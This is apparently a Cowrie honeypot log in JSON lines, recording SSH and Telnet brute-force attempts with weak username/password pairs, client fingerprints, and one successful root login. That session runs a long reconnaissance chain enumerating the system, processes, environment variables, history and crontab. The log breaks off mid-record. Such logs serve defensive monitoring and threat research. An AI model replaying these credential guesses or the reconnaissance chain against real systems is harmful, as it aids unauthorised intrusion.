{"eventid":"cowrie.login.failed","username":"sol","password":"123456","message":"login attempt [sol/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:36:41.668788Z","src_ip":"195.178.110.218","session":"c91ce7f5e5ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:36:42.751427Z","src_ip":"195.178.110.218","session":"c91ce7f5e5ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":52566,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d4bb1db7a46","protocol":"ssh","message":"New connection: 92.118.39.92:52566 (10.17.0.5:22) [session: 9d4bb1db7a46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:38:37.477575Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:38:37.482057Z","src_ip":"92.118.39.92","session":"9d4bb1db7a46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:38:37.591918Z","src_ip":"92.118.39.92","session":"9d4bb1db7a46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jira","password":"jira","message":"login attempt [jira/jira] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:38:37.978645Z","src_ip":"92.118.39.92","session":"9d4bb1db7a46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:38:39.081350Z","src_ip":"92.118.39.92","session":"9d4bb1db7a46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":38724,"dst_ip":"159.203.135.109","dst_port":22,"session":"37da6397cc6b","protocol":"ssh","message":"New connection: 195.178.110.218:38724 (159.203.135.109:22) [session: 37da6397cc6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:39:18.302357Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:39:18.305837Z","src_ip":"195.178.110.218","session":"37da6397cc6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:39:18.385722Z","src_ip":"195.178.110.218","session":"37da6397cc6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"12345678","message":"login attempt [sol/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:39:18.624294Z","src_ip":"195.178.110.218","session":"37da6397cc6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:39:19.706311Z","src_ip":"195.178.110.218","session":"37da6397cc6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":40428,"dst_ip":"159.203.135.109","dst_port":22,"session":"366dcb1250b6","protocol":"ssh","message":"New connection: 14.225.2.125:40428 (159.203.135.109:22) [session: 366dcb1250b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:39:46.961220Z"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:39:47.242367Z","src_ip":"14.225.2.125","session":"366dcb1250b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":40444,"dst_ip":"159.203.135.109","dst_port":22,"session":"ecaf374518eb","protocol":"ssh","message":"New connection: 14.225.2.125:40444 (159.203.135.109:22) [session: ecaf374518eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:39:47.505484Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:39:47.509796Z","src_ip":"14.225.2.125","session":"ecaf374518eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:39:47.778258Z","src_ip":"14.225.2.125","session":"ecaf374518eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cyzhang","password":"123456","message":"login attempt [cyzhang/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:39:48.583016Z","src_ip":"14.225.2.125","session":"ecaf374518eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:39:49.853347Z","src_ip":"14.225.2.125","session":"ecaf374518eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":40976,"dst_ip":"10.17.0.5","dst_port":22,"session":"6504ba9fc014","protocol":"ssh","message":"New connection: 92.118.39.92:40976 (10.17.0.5:22) [session: 6504ba9fc014]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:40:54.590428Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:40:54.594264Z","src_ip":"92.118.39.92","session":"6504ba9fc014","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:40:54.694192Z","src_ip":"92.118.39.92","session":"6504ba9fc014","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"testuser123","message":"login attempt [testuser/testuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:40:54.997715Z","src_ip":"92.118.39.92","session":"6504ba9fc014","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:40:56.104325Z","src_ip":"92.118.39.92","session":"6504ba9fc014","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.27.19","src_port":2424,"dst_ip":"159.203.135.109","dst_port":22,"session":"82a5b55b9949","protocol":"ssh","message":"New connection: 103.82.27.19:2424 (159.203.135.109:22) [session: 82a5b55b9949]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:41:01.658756Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:41:01.666049Z","src_ip":"103.82.27.19","session":"82a5b55b9949","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:41:01.933194Z","src_ip":"103.82.27.19","session":"82a5b55b9949","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"pass1234","message":"login attempt [root/pass1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:41:02.752192Z","src_ip":"103.82.27.19","session":"82a5b55b9949","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:41:03.308109Z","src_ip":"103.82.27.19","session":"82a5b55b9949","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"hostname; echo '___BSEP_A1B2C3___'; uname -a; echo '___BSEP_A1B2C3___'; whoami; echo '___BSEP_A1B2C3___'; pwd; echo '___BSEP_A1B2C3___'; ls -la /; echo '___BSEP_A1B2C3___'; ps aux | head -15; echo '___BSEP_A1B2C3___'; netstat -tulpn | head -10; echo '___BSEP_A1B2C3___'; history | tail -5; echo '___BSEP_A1B2C3___'; ssh -V 2>&1; echo '___BSEP_A1B2C3___'; uptime; echo '___BSEP_A1B2C3___'; mount | head -5; echo '___BSEP_A1B2C3___'; env | head -10; echo '___BSEP_A1B2C3___'; cat /etc/os-release 2>/dev/null | head -6; echo '___BSEP_A1B2C3___'; grep MemTotal /proc/meminfo 2>/dev/null; echo '___BSEP_A1B2C3___'; df -h / 2>/dev/null | tail -1; echo '___BSEP_A1B2C3___'; cat /proc/version 2>/dev/null; echo '___BSEP_A1B2C3___'; grep 'model name' /proc/cpuinfo 2>/dev/null | head -1; echo '___BSEP_A1B2C3___'; cat /etc/issue 2>/dev/null; echo '___BSEP_A1B2C3___'; last -n 3 2>/dev/null | head -3; echo '___BSEP_A1B2C3___'; ls /dev 2>/dev/null | wc -l; echo '___BSEP_A1B2C3___'; ls /var/log 2>/dev/null | wc -l; echo '___BSEP_A1B2C3___'; ls /opt 2>/dev/null; echo '___BSEP_A1B2C3___'; crontab -l 2>/dev/null | head -5; echo '___BSEP_A1B2C3___'; nproc 2>/dev/null || grep -c '^processor' /proc/cpuinfo 2>/dev/null","message":"CMD: hostname; echo '___BSEP_A1B2C3___'; uname -a; echo '___BSEP_A1B2C3___'; whoami; echo '___BSEP_A1B2C3___'; pwd; echo '___BSEP_A1B2C3___'; ls -la /; echo '___BSEP_A1B2C3___'; ps aux | head -15; echo '___BSEP_A1B2C3___'; netstat -tulpn | head -10; echo '___BSEP_A1B2C3___'; history | tail -5; echo '___BSEP_A1B2C3___'; ssh -V 2>&1; echo '___BSEP_A1B2C3___'; uptime; echo '___BSEP_A1B2C3___'; mount | head -5; echo '___BSEP_A1B2C3___'; env | head -10; echo '___BSEP_A1B2C3___'; cat /etc/os-release 2>/dev/null | head -6; echo '___BSEP_A1B2C3___'; grep MemTotal /proc/meminfo 2>/dev/null; echo '___BSEP_A1B2C3___'; df -h / 2>/dev/null | tail -1; echo '___BSEP_A1B2C3___'; cat /proc/version 2>/dev/null; echo '___BSEP_A1B2C3___'; grep 'model name' /proc/cpuinfo 2>/dev/null | head -1; echo '___BSEP_A1B2C3___'; cat /etc/issue 2>/dev/null; echo '___BSEP_A1B2C3___'; last -n 3 2>/dev/null | head -3; echo '___BSEP_A1B2C3___'; ls /dev 2>/dev/null | wc -l; echo '___BSEP_A1B2C3___'; ls /var/log 2>/dev/null | wc -l; echo '___BSEP_A1B2C3___'; ls /opt 2>/dev/null; echo '___BSEP_A1B2C3___'; crontab -l 2>/dev/null | head -5; echo '___BSEP_A1B2C3___'; nproc 2>/dev/null || grep -c '^processor' /proc/cpuinfo 2>/dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:41:03.311836Z","src_ip":"103.82.27.19","session":"82a5b55b9949","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/21a31c66cd6f07e3cc706bebdfbe0bd182d914c520f9a9201c2561f4713ea068","size":2189,"shasum":"21a31c66cd6f07e3cc706bebdfbe0bd182d914c520f9a9201c2561f4713ea068","duplicate":true,"duration":"3.1","message":"Closing TTY Log: var/lib/cowrie/tty/21a31c66cd6f07e3cc706bebdfbe0bd182d914c520f9a9201c2561f4713ea068 after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:41:06.373756Z","src_ip":"103.82.27.19","session":"82a5b55b9949","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:41:06.378598Z","src_ip":"103.82.27.19","session":"82a5b55b9949","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":47726,"dst_ip":"159.203.135.109","dst_port":22,"session":"193f70cccab9","protocol":"ssh","message":"New connection: 195.178.110.218:47726 (159.203.135.109:22) [session: 193f70cccab9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:42:08.199991Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:42:08.205442Z","src_ip":"195.178.110.218","session":"193f70cccab9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:42:08.286127Z","src_ip":"195.178.110.218","session":"193f70cccab9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:42:08.527441Z","src_ip":"195.178.110.218","session":"193f70cccab9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:42:09.610323Z","src_ip":"195.178.110.218","session":"193f70cccab9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"121.184.174.6","src_port":45774,"dst_ip":"10.17.0.5","dst_port":23,"session":"25eb598ffce6","protocol":"telnet","message":"New connection: 121.184.174.6:45774 (10.17.0.5:23) [session: 25eb598ffce6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:43:03.741348Z"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":57634,"dst_ip":"10.17.0.5","dst_port":22,"session":"ddd380748ed2","protocol":"ssh","message":"New connection: 92.118.39.92:57634 (10.17.0.5:22) [session: ddd380748ed2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:43:18.939740Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:43:18.948258Z","src_ip":"92.118.39.92","session":"ddd380748ed2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 